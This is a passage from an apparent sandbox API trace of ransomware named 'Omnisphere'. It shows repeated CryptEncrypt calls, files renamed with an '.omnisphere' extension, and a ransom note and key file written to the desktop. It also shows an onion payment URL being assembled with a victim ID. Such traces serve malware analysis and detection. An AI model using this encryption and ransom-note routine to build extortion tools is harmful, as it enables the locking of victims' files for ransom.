pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.337] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.337] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.337] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.337] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.337] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.337] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.337] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.337] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.337] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.338] CryptDestroyKey (hKey=0x1639968) returned 1 [0163.338] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0163.338] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x2c79, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.338] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.338] GetProcessHeap () returned 0x1600000 [0163.338] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x266) returned 0x164f0e0 [0163.338] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\ce7j5gv.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\ce7j5gv.wav.omnisphere")) returned 1 [0163.353] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav.omnisphere.id" [0163.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\ce7j5gv.wav.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.355] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.356] CloseHandle (hObject=0x3bc) returned 1 [0163.358] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.358] CloseHandle (hObject=0x380) returned 1 [0163.358] SetEndOfFile (hFile=0x39c) returned 1 [0163.360] FlushFileBuffers (hFile=0x39c) returned 1 [0163.366] CloseHandle (hObject=0x39c) returned 1 [0163.367] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.367] GetProcessHeap () returned 0x1600000 [0163.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1771de0 [0163.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.367] GetProcessHeap () returned 0x1600000 [0163.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733568 [0163.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733568, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.367] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.367] GetProcessHeap () returned 0x1600000 [0163.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f3c0 [0163.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f3c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.367] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.367] GetProcessHeap () returned 0x1600000 [0163.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164d1f0 [0163.367] PathCombineW (in: pszDest=0x164d1f0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.367] GetProcessHeap () returned 0x1600000 [0163.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1769008 [0163.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.368] WriteFile (in: hFile=0x39c, lpBuffer=0x1769008*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1769008*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.368] CloseHandle (hObject=0x39c) returned 1 [0163.368] GetProcessHeap () returned 0x1600000 [0163.368] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1771de0 | out: hHeap=0x1600000) returned 1 [0163.368] GetProcessHeap () returned 0x1600000 [0163.368] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a110 [0163.369] PathCombineW (in: pszDest=0x163a110, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.369] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.369] CloseHandle (hObject=0x39c) returned 1 [0163.369] GetProcessHeap () returned 0x1600000 [0163.369] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a110 | out: hHeap=0x1600000) returned 1 [0163.369] GetProcessHeap () returned 0x1600000 [0163.369] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163db38 | out: hHeap=0x1600000) returned 1 [0163.369] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472fd030, ftCreationTime.dwHighDateTime=0x1d4c6f5, ftLastAccessTime.dwLowDateTime=0x7ee4a590, ftLastAccessTime.dwHighDateTime=0x1d4d1fa, ftLastWriteTime.dwLowDateTime=0x7ee4a590, ftLastWriteTime.dwHighDateTime=0x1d4d1fa, nFileSizeHigh=0x0, nFileSizeLow=0xbbd, dwReserved0=0x0, dwReserved1=0xf5, cFileName="cvDAOhNO K.m4a", cAlternateFileName="CVDAOH~1.M4A")) returned 1 [0163.370] GetProcessHeap () returned 0x1600000 [0163.370] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5c) returned 0x1691c48 [0163.370] PathCombineW (in: pszDest=0x1691c48, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="cvDAOhNO K.m4a" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a") returned="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a" [0163.370] StrStrW (lpFirst=".omnisphere", lpSrch=".m4a") returned 0x0 [0163.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\cvdaohno k.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.370] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=3005) returned 1 [0163.370] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x699, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.370] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.370] GetTickCount () returned 0x116891d [0163.370] GetTickCount () returned 0x116891d [0163.370] GetTickCount () returned 0x116891d [0163.370] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.371] GetTickCount () returned 0x116891d [0163.372] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668708) returned 1 [0163.373] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16395e8) returned 1 [0163.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.373] CryptDestroyKey (hKey=0x16395e8) returned 1 [0163.373] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0163.373] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbbd, lpName=0x0) returned 0x380 [0163.373] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbbd) returned 0x1480000 [0163.373] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16688a0) returned 1 [0163.374] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639628) returned 1 [0163.374] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.374] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.375] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 